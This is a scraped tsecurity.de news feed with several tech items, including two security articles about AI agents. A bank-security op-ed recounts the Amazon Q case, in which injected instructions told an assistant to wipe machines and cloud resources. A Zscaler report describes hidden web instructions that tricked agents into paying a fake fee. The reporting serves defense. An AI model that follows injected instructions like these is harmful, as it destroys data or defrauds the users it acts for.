<link>https://tsecurity.de/de/3651333/ios-mac-os/iphone-air-2-battery-expected-to-hit-30-hours-of-use-from-a-single-charge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651333/ios-mac-os/iphone-air-2-battery-expected-to-hit-30-hours-of-use-from-a-single-charge/</guid>
<pubDate>Tue, 07 Jul 2026 13:25:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The <a href="https://appleinsider.com/inside/iphone-air" title="iPhone Air" data-kpt="1">iPhone Air</a> 2 is rumored to last longer than the original thanks to a much larger battery, fixing one of the biggest flaws of the super-thin smartphone.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68178-143717-66415-139283-65764-137738-iPhone-Air-camera-side-xl-xl-xl.jpg" alt="Close-up of a modern white smartphone lying face down, highlighting the rear camera lens, flash, smooth metal edges, and side button on a clean light-colored surface" height="738"><br><span>The current-gen iPhone Air</span></div><br>The iPhone Air was a <a href="https://appleinsider.com/articles/25/10/17/i-took-an-iphone-air-on-vacation-to-test-its-two-biggest-compromises%E2%80%94%E2%80%94and-came-home-surprised">device of compromise</a>, with its thin frame made possible by some size-cutting specification choices. For the second-gen model, Apple is apparently seeking to right one of the perceived wrongs.<br><br>According to Weibo leaker Digital Chat Station on <a href="https://weibo.com/6048569942/R7zsmexgd">July 7</a>, citing the supply chain, the iPhone Air 2 will have a battery with a capacity of around 3,500mAh.<br><br><br> <strong>Rumor Score:</strong> 🤔 Possible <br><br><br> <a href="https://appleinsider.com/articles/26/07/07/iphone-air-2-battery-expected-to-hit-30-hours-of-use-from-a-single-charge?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244889?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The data reckoning: How exponential growth is rewriting the rules of cost, risk and AI]]></title>
<description><![CDATA[Something structural is happening to enterprise data and most organizations are only beginning to fully understand. Data volumes are growing faster than any original assumptions about how to store, govern and extract value from information. At the same time, the cost of getting it wrong is rising...]]></description>
<link>https://tsecurity.de/de/3651287/it-security-nachrichten/the-data-reckoning-how-exponential-growth-is-rewriting-the-rules-of-cost-risk-and-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651287/it-security-nachrichten/the-data-reckoning-how-exponential-growth-is-rewriting-the-rules-of-cost-risk-and-ai/</guid>
<pubDate>Tue, 07 Jul 2026 13:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Something structural is happening to enterprise data and most organizations are only beginning to fully understand. Data volumes are growing faster than any original assumptions about how to store, govern and extract value from information. At the same time, the cost of getting it wrong is rising sharply: inflated infrastructure spend, expanding cyber exposure and AI initiatives that stall because the data feeding them cannot be trusted. These are not separate problems. They are three symptoms of the same underlying condition.</p>



<p>Unstructured data, the billions of documents, emails, images, videos, collaboration files and machine-generated logs that now <a href="https://wasabi.com/blog/company/get-a-head-start-on-another-year-of-data-growth" rel="nofollow">account for up to 90%</a> of all stored enterprise data, has been accumulating for decades. What has changed is the convergence of three forces that make the current moment categorically different from what came before. AI has <a href="https://www.bigeye.com/blog/the-data-quality-crisis-killing-ai-projects-and-other-hard-truths" rel="nofollow">made data quality a board-level concern</a>. Cyber threats have made data visibility vital. And infrastructure economics have made uncontrolled data growth a direct problem for the bottom line. CIOs are now being asked to address all three simultaneously, with environments that were never designed for any of them.</p>



<p>When it comes to cost, the default response to data growth was to buy more storage. That approach is no longer financially sustainable, and AI has made it counterproductive. Unprecedented demand for AI infrastructure is <a href="https://www.cnbc.com/2026/01/10/micron-ai-memory-shortage-hbm-nvidia-samsung.html" rel="nofollow">compressing storage component supply</a>https://cyberscoop.com/ibm-cost-data-breach-2025/ and driving prices up at precisely the moment when organizations need more capacity than ever. But raw capacity is not the problem. The problem is that most of what organizations are paying to store is data they cannot see, cannot evaluate and cannot be confident is worth keeping. Duplicated, outdated and poorly governed datasets do not just waste money; they feed the AI models with garbage that enterprises are now basing their competitive futures on.</p>



<h2 class="wp-block-heading">Invisible data is unmanaged risk </h2>



<p>The risk dimension is equally urgent. As data volumes grow, so does the attack surface. Organizations facing a breach today are not just dealing with the incident itself, they are dealing with the consequences of years of ungoverned data accumulation: sensitive information in unexpected locations, excessive permissions that were never reviewed and exposures that only become visible at the worst possible moment. Yet despite continued investment in AI and security initiatives, a striking number of enterprises still lack <a href="https://www.businesswire.com/news/home/20250317062585/en/New-Study-Security-Teams-Taking-on-Expanded-AI-Data-Responsibilities-as-82-Report-Visibility-Gaps" rel="nofollow">basic enterprise-wide visibil</a>ity into what their unstructured data environments actually contain.</p>



<p>The questions that should have straightforward answers often do not. What data does the organization actually hold? Where does it reside? Who owns it? Who can access it? Does it carry regulatory obligations? Does it have any remaining business value at all? The inability to answer these questions is not just an operational inconvenience; it is a direct source of financial waste, governance exposure and strategic constraint. Organizations cannot optimize what they cannot measure, and they cannot protect what they cannot find.</p>



<p>Part of what makes this so difficult is the structural fragmentation of modern data environments. Files are distributed across hybrid cloud architectures, multiple vendors, legacy on-premises systems and purpose-built applications, each with its own access model, metadata schema and governance history. There is no single view. The result is an environment where data accumulates faster than anyone can track it, and where the cost and risk implications compound quietly in the background.</p>



<p>This has driven significant investment in data discovery and classification technologies, which have matured rapidly as organizations have recognized the urgency of understanding what they hold and where the exposure lies. The ability to identify sensitive data across enterprise environments, flag orphaned assets and surface excessive permissions has become an essential capability.  </p>



<p>Yet insight alone is not enough, and this is where many organizations find themselves getting stuck. The gap between knowing there is a problem and being able to fix it at scale is often huge. Understanding that sensitive data exists in the wrong location is not the same as being able to move, govern or remediate it across an environment containing hundreds of millions of files. Identification and action are two entirely different capabilities, and most organizations have invested heavily in the former without building the latter.</p>



<h2 class="wp-block-heading">From reactive to intentional: the governance imperative</h2>



<p>Most enterprises are already paying the price of ungoverned data growth — in wasted infrastructure spend, governance failures and <a href="https://www.gartner.com/en/newsroom/press-releases/2025-02-26-lack-of-ai-ready-data-puts-ai-projects-at-risk" rel="nofollow">AI initiatives that underdeliver</a>. The challenge for CIOs is not building the case for action; it is building the capability to act at the scale the problem demands.</p>



<p>Three principles define the organizations that are getting this right. The first is that governance must be an operational discipline, not a periodic audit. Permissions drift. Data relevance decays. Compliance requirements evolve. An environment that was well-governed six months ago may present material risk today, and the only way to stay ahead of that is through continuous visibility and the ability to act on what it reveals at scale, automatically, and consistently across the entire estate.</p>



<p>The second principle is that not all data has equal value and treating it as though it does is a significant source of unnecessary cost and risk. A substantial proportion of the data consuming expensive primary storage in most enterprises has not been accessed in years and has no clear owner. It generates infrastructure spend, expands the attack surface and adds noise to AI environments, all without contributing any business value. Understanding this in granular detail across the full environment is the precondition for doing anything about it.</p>



<p>In many environments, the lifespan of data is shorter than organizations assume. Information that was critical six months ago may be commercially irrelevant today, but it continues to consume storage, appear in security scans and potentially influence AI outputs. The cost is real and recurring. The risk compounds silently. And the AI-readiness implications are direct: models trained or augmented with stale, duplicated or irrelevant data produce outputs that cannot be trusted, undermining confidence in the entire AI program.</p>



<p>The third principle is that lifecycle management and governance are the same discipline, not separate workstreams. Aligning data with its appropriate storage tier, based on value, access patterns, risk profile and compliance requirements, simultaneously reduces cost, narrows the attack surface and improves the quality of the datasets available for AI. These outcomes are not in tension. They are achieved through the same underlying capability: knowing what data exists and being able to act on that knowledge consistently across a fragmented, multi-platform environment.</p>



<p>This is not a one-time remediation project. The data growth that created the current situation is not slowing down — it is accelerating, driven by AI workloads, collaboration platforms and the instrumentation of almost every business process. The organizations that will manage this effectively are not those that periodically clean up their data estates; they are those that have built ongoing operational capability to align data with business value, continuously enforce governance and ensure that the information powering their AI and analytics initiatives is trusted, current and accessible. For CIOs, building that capability is not just a technology decision, it’s a business one.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[With AI, a wrong answer is a bug. A wrong action is an incident]]></title>
<description><![CDATA[A copilot that gives a wrong answer is a quality problem. An AI agent that takes a wrong action is an incident, sometimes a reportable one. That single difference is most of the story of where banking AI security is heading, and most banks’ current controls were built for the first kind of proble...]]></description>
<link>https://tsecurity.de/de/3650949/it-nachrichten/with-ai-a-wrong-answer-is-a-bug-a-wrong-action-is-an-incident/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650949/it-nachrichten/with-ai-a-wrong-answer-is-a-bug-a-wrong-action-is-an-incident/</guid>
<pubDate>Tue, 07 Jul 2026 11:03:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A copilot that gives a wrong answer is a quality problem. An AI agent that takes a wrong action is an incident, sometimes a reportable one. That single difference is most of the story of where banking AI security is heading, and most banks’ current controls were built for the first kind of problem, not the second.</p>



<p>For two years, the AI a bank had to worry about mostly read and summarized. It drafted a customer email, pulled the gist of a credit memo, answered a relationship manager’s product question. The security questions were about disclosure: could the model see data it shouldn’t, could it leak that data in an answer. Redaction, output filtering and a human reading the response before it went anywhere were reasonable defenses.</p>



<p>Banks have moved past that, faster than most security programs have. The newer systems are agents. They don’t just answer; they act. An agent can pull a customer’s full transaction history, call a fraud-scoring service, adjust a limit or start a payment workflow, chaining several to finish a task with no human in between. Banks are among the most aggressive adopters of agentic AI, and they are pushing it into production faster than most security programs have kept pace with, which means they are also among the first to inherit the security problem that comes with it.</p>



<p>I’d put that problem in one phrase: overprivileged agents. The risk is no longer mainly what the model can see. It is what the agent is allowed to do inside systems that move money and hold regulated data.</p>



<p>This is no longer only a vendor’s warning. On April 30, 2026, the cyber agencies of the Five Eyes nations issued their first joint guidance on securing agentic AI, <a href="https://www.cyber.gov.au/business-government/secure-design/artificial-intelligence/careful-adoption-of-agentic-ai-services" rel="nofollow"><em>Careful Adoption of Agentic AI Services</em></a>. Six agencies signed it, two of them American (CISA and the NSA), alongside the lead agencies of the UK, Australia, Canada and New Zealand. It names privilege as the leading category of agentic risk and calls strict least privilege critical. When five governments coordinate on a single control, “best practice” becomes “expected practice” quickly. For a CISO, that moves the timeline up.</p>



<h2 class="wp-block-heading">What “too much authority” actually looks like</h2>



<p><a href="https://genai.owasp.org/llmrisk/llm062025-excessive-agency/" rel="nofollow">OWASP’s breakdown of the failure mode it calls excessive agency</a> maps cleanly onto a bank. <em>Excessive functionality</em> is an agent that can reach tools its task never needed, like a servicing agent that can also touch the payments API “just in case.” <em>Excessive permissions</em> is the right tool at the wrong scope: a reconciliation agent meant only to read, running with credentials that can also write. <em>Excessive autonomy </em>is a consequential action with no human in the loop: a fee reversed, a limit raised, a record changed, with nothing checking it. In practice these rarely appear alone; they compound.</p>



<p>The canonical example is mundane: an agent that reads one user’s data through an account that can see everyone’s. Translate that to a bank and it becomes an agent that can query every customer’s records to answer a question about one. That is the confused-deputy problem: the agent acts with the full authority of whatever identity it borrowed, while taking instructions from input an attacker may control.</p>



<h2 class="wp-block-heading">The mechanism, from a real incident</h2>



<p>The clearest public illustration so far comes from developer tooling rather than banking, but the mechanism is identical. In July 2025, an attacker used an over-scoped build token to slip malicious code into the open-source repository behind the Amazon Q Developer extension for VS Code, and it shipped in an official release (<a href="https://aws.amazon.com/security/security-bulletins/AWS-2025-015/" rel="nofollow">CVE-2025-8217</a>). The injected instructions told the AI assistant to wipe the local machine and delete cloud resources, down to specific S3 buckets and EC2 instances. The assistant could reach the local filesystem, the shell and AWS CLI tools, so structurally little stood between those instructions and real damage. What stopped them was a bug: the payload had a syntax error and never ran, and AWS found no customer environments affected. But the extension had been installed close to a million times, and the margin of safety was an accident.</p>



<p>The uncomfortable part is not that the agent was “hacked” in the usual sense. Had the attacker’s code been written correctly, the agent would have done exactly what the injected text told it, through a channel it trusted. The lesson: an agent with broad tools, write access and no approval gate is dangerous not only when someone steals its credentials, but any time someone can reach its input. And in a bank, reachable inputs sit everywhere an agent reads text it did not author: the memo line on a wire, a customer’s email in a dispute, a PDF uploaded to a loan file, a free-text field in a KYC record. This is indirect prompt injection, and the defenses for it are still partial. You cannot reliably solve it by instructing the agent to behave. You solve it by limiting what it is able to do, regardless of what it is told.</p>



<h2 class="wp-block-heading">What I keep seeing in deployments</h2>



<p>In the redaction-control work I’ve done with banks, the gap is rarely the model. It is that the agent gets wired to the data and the tools first; what it should be allowed to reach gets asked later, if at all.</p>



<p>One pattern recurs. A customer-servicing agent is wired into the core banking system to resolve account queries. To answer a simple question, it pulls the customer’s entire profile into context: full account number, date of birth, the complete transaction narrative. The task needed the last four digits and a list of recent transactions; the agent got everything, and each field then sat in prompts, logs and traces never scoped as sensitive data. The fix was not a sharper prompt. It was moving redaction to the retrieval boundary, so those fields were tokenized before they reached the agent, and scoping its read access to the one customer in the open case, not the whole table.</p>



<p>The other half of the problem is authority, not data. That same agent often shares a service account with a batch job, so it can write to fields well beyond a customer’s question. A dedicated identity with its own scoped, short-lived credentials is unglamorous work, but it is the difference between an agent that can read one case and one that can quietly change thousands.</p>



<h2 class="wp-block-heading">Extending controls banks already have</h2>



<p>The reassuring part is that banks are not starting from zero. Maker-checker, segregation of duties, four-eyes approval, least privilege, immutable audit: this is muscle memory in a bank. The work is extending it to a non-human actor that runs at machine speed.</p>



<p>Give the agent its own managed identity with narrowly scoped, short-lived credentials instead of letting it borrow an employee’s session. That is the direct fix for the confused-deputy problem, and what the joint guidance asks for. Scope tools per task and per resource: read versus write, and which accounts, not a blanket grant. Put irreversible, high-impact actions (moving money, changing entitlements, closing accounts, exporting bulk data) behind explicit approval gates, the human-in-the-loop the guidance reserves for high-cost actions. Redact at the data-access boundary, not only on the output: an agent that never retrieves the full account number cannot leak it downstream. And log the agent’s plan and every tool call, not just its final answer, because in an agentic system the damage lives in the actions.</p>



<h2 class="wp-block-heading">Why the clock is real</h2>



<p>Regulation has put a date on this. <a href="https://www.amsshardul.com/insight/enforcement-of-the-dpdp-act-and-notification-of-the-dpdp-rules/" rel="nofollow">India’s Digital Personal Data Protection Rules</a> were notified on November 14, 2025; the institutional provisions are already in force, and the substantive obligations (purpose limitation, data minimization, breach notification) take full effect in May 2027. Under that lens, an agent that can reach more customer data than its task requires is not only a security weakness; it is a data-minimization and accountability problem. Banks under GDPR or the EU AI Act face the same logic from a different statute.</p>



<p>One honest caveat: none of these laws actually names AI agents. Mapping their principles onto agent authorization is interpretation and prudent risk management, and each bank should work the specifics through with its own legal and compliance teams rather than treat the matter as settled.</p>



<h2 class="wp-block-heading">The trade-offs nobody has solved</h2>



<p>None of this is free. Approval gates work against the entire reason to deploy an agent: gate every action and you have rebuilt a slower manual process. Deciding which actions to gate, and which can run autonomously within tight scope, is a real design problem that turns on each workflow’s blast radius. Logging every plan and tool call produces audit volume most pipelines were not built for. Standards for agent identity are still immature, and the agent supply chain is itself an attack surface, as the Amazon Q case showed.</p>



<p>These are real tensions, not problems with clean answers. But the governance gap that the 2026 surveys keep finding is not a story of banks failing to deploy agents. It is controls trailing agents that are already running. The alternative, porting copilot-era defenses onto agents and trusting output filters, guards the wrong door.</p>



<p>Banks are hitting this first because they are ahead. That is also the opportunity: the institutions that settle their agent authorization model now, while deployments are still small enough to change course, will not just avoid the incident. They will set the pattern everyone else copies.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Scale the Depths Review (PC)]]></title>
<description><![CDATA[I need to improve the accuracy of my fish targeting. Early on, with a simple hook and limited time underwater, I had trouble getting the species that required more than one touch to get into the boat. So, I settled for the smaller fish. Sure, they are quicker to clean, but their hunger-sating pow...]]></description>
<link>https://tsecurity.de/de/3650863/it-security-nachrichten/scale-the-depths-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650863/it-security-nachrichten/scale-the-depths-review-pc/</guid>
<pubDate>Tue, 07 Jul 2026 10:24:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I need to improve the accuracy of my fish targeting. Early on, with a simple hook and limited time underwater, I had trouble getting the species that required more than one touch to get into the boat. So, I settled for the smaller fish. Sure, they are quicker to clean, but their hunger-sating power is also limited, so I needed more fishing trips to satisfy each hungry customer.

But, over time, the money came in, and I picked up both a better hook and an improved rod. Now my robot fisherman avatar has the opposite problem: it’s too easy to accidentally spear low-value creatures that I really don’t want. So, I’m swerving all over the place, ducking eels and trout, as I’m exploring the depths for some secrets and maybe some extra cash.

I really want to get the highest-level knife, which is basically a sword. It will make it easier to clean without damaging the product. And that will translate into better meals, satisfied animals, and more money. And, with a fully upgr...]]></content:encoded>
</item>
<item>
<title><![CDATA[watchOS 27 Beta 3 Brings Siri AI and New Siri App to Apple Watch]]></title>
<description><![CDATA[Apple has started rolling out the upgraded Siri AI experience on Apple Watch with the watchOS 27 beta 3 release. The update also adds a standalone Siri app, which now appears inside the new Dynamic App Grid when users press the Digital Crown.



Apple announced Siri AI for Apple Watch during WWDC...]]></description>
<link>https://tsecurity.de/de/3650488/ios-mac-os/watchos-27-beta-3-brings-siri-ai-and-new-siri-app-to-apple-watch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650488/ios-mac-os/watchos-27-beta-3-brings-siri-ai-and-new-siri-app-to-apple-watch/</guid>
<pubDate>Tue, 07 Jul 2026 06:40:08 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has started rolling out the upgraded Siri AI experience on Apple Watch with the watchOS 27 beta 3 release. The update also adds a standalone Siri app, which now appears inside the new Dynamic App Grid when users press the Digital Crown.



Apple announced Siri AI for Apple Watch during WWDC in June, but the feature did not appear in the first two developer beta builds. With watchOS 27 beta 3, developers can finally test the smarter Siri experience directly from their wrist.



Siri AI Arrives on Apple Watch



The new Siri app sits at the center of the Dynamic App Grid, while the surrounding apps change based on what the system thinks users need. This makes Siri easier to access, especially for quick questions, reminders, messages, and other hands-free tasks.



Siri AI on Apple Watch depends on a nearby Apple Intelligence-compatible iPhone for processing. This means the watch can offer smarter replies and handle more advanced requests while using the iPhone to manage the heavier AI work.



The Siri app also syncs conversations across iPhone, iPad, Mac, Apple Vision Pro, and Apple Watch. As a result, users can continue Siri conversations with context across their Apple devices.



Some Apple Watch users may need to wait for the new Siri experience to fully load after installing the beta. Once active, watchOS 27 beta 3 brings Apple’s upgraded Siri closer to a ChatGPT-style assistant on the wrist.]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a Scaffold-Split Random Forest QSAR Co-Scientist for EGFR Inhibitor Discovery Using ChEMBL, RDKit, SHAP, and BRICS]]></title>
<description><![CDATA[In this tutorial, we build an autonomous AI co-scientist for EGFR C797S inhibitor discovery. We resolve the target through ChEMBL and UniProt, then mine IC50 records into a clean pIC50 dataset. We use RDKit to standardize molecules, compute Morgan fingerprints, and train a scaffold-split Random F...]]></description>
<link>https://tsecurity.de/de/3650272/ai-nachrichten/building-a-scaffold-split-random-forest-qsar-co-scientist-for-egfr-inhibitor-discovery-using-chembl-rdkit-shap-and-brics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650272/ai-nachrichten/building-a-scaffold-split-random-forest-qsar-co-scientist-for-egfr-inhibitor-discovery-using-chembl-rdkit-shap-and-brics/</guid>
<pubDate>Tue, 07 Jul 2026 03:49:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this tutorial, we build an autonomous AI co-scientist for EGFR C797S inhibitor discovery. We resolve the target through ChEMBL and UniProt, then mine IC50 records into a clean pIC50 dataset. We use RDKit to standardize molecules, compute Morgan fingerprints, and train a scaffold-split Random Forest QSAR model. We interpret potency drivers with SHAP, then recombine BRICS fragments to generate and rank novel candidates.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/06/building-a-scaffold-split-random-forest-qsar-co-scientist-for-egfr-inhibitor-discovery-using-chembl-rdkit-shap-and-brics/">Building a Scaffold-Split Random Forest QSAR Co-Scientist for EGFR Inhibitor Discovery Using ChEMBL, RDKit, SHAP, and BRICS</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zscaler finds autonomous agents succumb to IPI traps]]></title>
<description><![CDATA[In a test of major LLMs, Zscaler found that some autonomous AI agents fell victim to frauds, reinforcing how easily some high-end enterprise agents can be conned by schemes that would fool few, if any, humans.



The security vendor looked at various forms of indirect prompt injection (IPI) traps...]]></description>
<link>https://tsecurity.de/de/3650246/it-security-nachrichten/zscaler-finds-autonomous-agents-succumb-to-ipi-traps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650246/it-security-nachrichten/zscaler-finds-autonomous-agents-succumb-to-ipi-traps/</guid>
<pubDate>Tue, 07 Jul 2026 03:38:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In a test of major LLMs, <a href="https://www.csoonline.com/article/4128745/zscaler-extends-zero-trust-security-to-browsers-with-squarex-acquisition.html" target="_blank">Zscaler</a> found that some autonomous AI agents fell victim to frauds, reinforcing how easily some high-end enterprise agents can be conned by schemes that would fool few, if any, humans.</p>



<p>The security vendor looked at various forms of indirect prompt injection (IPI) traps and found that, whereas many models fell victim to the schemes, some of the lower-level LLMs fared better than their pricier siblings. </p>



<p>The Zscaler testing found, <a href="https://www.zscaler.com/sites/default/files/images/page/figure-16---ipi.jpg" target="_blank" rel="noreferrer noopener">for example</a>, that four models were found to be “vulnerable”: Llama3-3-70b-instruct; Llama3-2-90b-instruct; Gemini-3-flash; and Gemini-2.5-pro. Three models were found to be “safe”: Llama4-maverick; Gemini-3.1-pro; and Gemini-3.1-flash-lite. Those results indicated that the scam resistance of Gemini-2.5-pro was seemingly weaker than that of Gemini-3.1-flash-lite. </p>



<p>But <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, said that there is not necessarily any valuable takeaway from that revelation, because agents constantly change behavior as they feed on new data and revise their analyzed assumptions. That means an agent that failed a specific test might very well pass the identical test an hour later, he said. </p>



<p>“The risk of an agent is constantly changing and that can cause vastly different results. You can’t assume the results are generalizable. The test result is only at one point in time,” Kenney pointed out. Zscaler “is trying to prove a point that I don’t think the data necessarily proves.”</p>



<p>Kenney added that having a clean “safe/vulnerable” classification is too simplistic to be useful. “That’s a binary classification. I would never recommend to a CISO to do a binary classification.”</p>



<p>The <a href="https://www.zscaler.com/blogs/security-research/indirect-prompt-injection-web-content-targets-ai-agents" target="_blank" rel="noreferrer noopener">full ZScaler blog post</a> argued that many autonomous agents are susceptible to IPI traps.</p>



<p>The company said it identified IPI embedded in multiple websites, where hidden instructions were designed to manipulate the behavior of an AI agent. </p>



<p>In its internal validation across 26 LLMs, 4 models “failed to take appropriate actions,” which, it said, demonstrated “measurable real-world impact, showing that susceptibility varies by model and by the context provided to the LLM alongside the prompt.”</p>



<p>The post added, “as AI agents become a more common interface to the web, the content itself is going to become a larger attack surface, highlighting that AI is a double-edged sword that can streamline workflows while also introducing new avenues for abuse.”</p>



<p><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that although the results are not surprising, they are significant. </p>



<p>The especially worrisome detail in the report is that any commercial LLM failed at all, “because the security model for agentic AI has historically assumed that model-level safety training would meaningfully attenuate this class of attack,” Mahapatra said. “It does not, and the Zscaler data is the first widely-cited public evidence.”</p>



<h2 class="wp-block-heading">A fundamental architecture issue</h2>



<p>Mahapatra also said that the examples cited by Zscaler are not nearly as concerning as the implications of the greater damage that could occur.</p>



<p>“The Zscaler payment scam scenario, where an agent pays a fake $3 ‘developer license fee’ to obtain an API key, is the most benign version of this,” he said. “The same technique applied to an agent authorized for procurement, expense processing, vendor onboarding, or trade execution produces losses at completely different scales. I have watched Fortune 50 banks stand up agentic workflows in the last six months that would fail exactly this attack in a live examination.”</p>



<p>Indeed, he noted, most AI vendors already understand the magnitude of risk from today’s AI agents.</p>



<p>“Every model provider will admit privately that the fundamental architecture of transformer-based reasoning cannot cleanly separate untrusted content from trusted instructions when both share the context window,” Mahapatra said. “The attack surface is architectural, not just behavioral. That means the defense has to be architectural too, and this is where the enterprise agentic AI conversation is still lagging badly.”</p>



<p>Zscaler’s testing also reinforced the difference in how AI agents and humans process information.</p>



<p>“Humans are skeptical of instructions they did not expect. Agents are eager to follow structured metadata because their training rewards them for treating high-signal fields as authoritative. Humans notice when a payment request appears in the middle of an unrelated task. Agents will thread that payment request into their execution plan if the surrounding context frames it as procedurally necessary,” Mahapatra pointed out, noting that while humans have relationships with vendors, memories of prior interactions, and social context to give them verification signals, agents only have what is in the context window, and, he said, “the context window is now the primary attack surface.”</p>



<p><a href="https://www.infotech.com/profiles/fritz-jean-louis" target="_blank" rel="noreferrer noopener">Fritz Jean-Louis</a>, principal cybersecurity advisor at Info-Tech Research Group, agreed that the risks described in the ZScaler post are concerning, because they are in areas not traditionally addressed by enterprise security.</p>



<p>“These attacks differ from traditional threats in that they target how AI systems process, interpret, and act on information behind the scenes,” Jean-Louis said. “Agentic AI introduces new trust boundaries, including untrusted content influencing automated decision making, tools and plugins acting autonomously on behalf of users, and AI systems operating with broad, inherited permissions. This effectively transforms the challenge into an insider threat paradigm.”</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4193403/zscaler-finds-autonomous-agents-succumb-to-ipi-traps.html" target="_blank">InfoWorld.</a></em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zscaler finds autonomous agents succumb to IPI traps]]></title>
<description><![CDATA[In a test of major LLMs, Zscaler found that some autonomous AI agents fell victim to frauds, reinforcing how easily some high-end enterprise agents can be conned by schemes that would fool few, if any, humans.



The security vendor looked at various forms of indirect prompt injection (IPI) traps...]]></description>
<link>https://tsecurity.de/de/3650242/ai-nachrichten/zscaler-finds-autonomous-agents-succumb-to-ipi-traps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650242/ai-nachrichten/zscaler-finds-autonomous-agents-succumb-to-ipi-traps/</guid>
<pubDate>Tue, 07 Jul 2026 03:18:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In a test of major LLMs, <a href="https://www.csoonline.com/article/4128745/zscaler-extends-zero-trust-security-to-browsers-with-squarex-acquisition.html" target="_blank">Zscaler</a> found that some autonomous AI agents fell victim to frauds, reinforcing how easily some high-end enterprise agents can be conned by schemes that would fool few, if any, humans.</p>



<p>The security vendor looked at various forms of indirect prompt injection (IPI) traps and found that, whereas many models fell victim to the schemes, some of the lower-level LLMs fared better than their pricier siblings. </p>



<p>The Zscaler testing found, <a href="https://www.zscaler.com/sites/default/files/images/page/figure-16---ipi.jpg" target="_blank" rel="noreferrer noopener">for example</a>, that four models were found to be “vulnerable”: Llama3-3-70b-instruct; Llama3-2-90b-instruct; Gemini-3-flash; and Gemini-2.5-pro. Three models were found to be “safe”: Llama4-maverick; Gemini-3.1-pro; and Gemini-3.1-flash-lite. Those results indicated that the scam resistance of Gemini-2.5-pro was seemingly weaker than that of Gemini-3.1-flash-lite. </p>



<p>But <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, said that there is not necessarily any valuable takeaway from that revelation, because agents constantly change behavior as they feed on new data and revise their analyzed assumptions. That means an agent that failed a specific test might very well pass the identical test an hour later, he said. </p>



<p>“The risk of an agent is constantly changing and that can cause vastly different results. You can’t assume the results are generalizable. The test result is only at one point in time,” Kenney pointed out. Zscaler “is trying to prove a point that I don’t think the data necessarily proves.”</p>



<p>Kenney added that having a clean “safe/vulnerable” classification is too simplistic to be useful. “That’s a binary classification. I would never recommend to a CISO to do a binary classification.”</p>



<p>The <a href="https://www.zscaler.com/blogs/security-research/indirect-prompt-injection-web-content-targets-ai-agents" target="_blank" rel="noreferrer noopener">full ZScaler blog post</a> argued that many autonomous agents are susceptible to IPI traps.</p>



<p>The company said it identified IPI embedded in multiple websites, where hidden instructions were designed to manipulate the behavior of an AI agent. </p>



<p>In its internal validation across 26 LLMs, 4 models “failed to take appropriate actions,” which, it said, demonstrated “measurable real-world impact, showing that susceptibility varies by model and by the context provided to the LLM alongside the prompt.”</p>



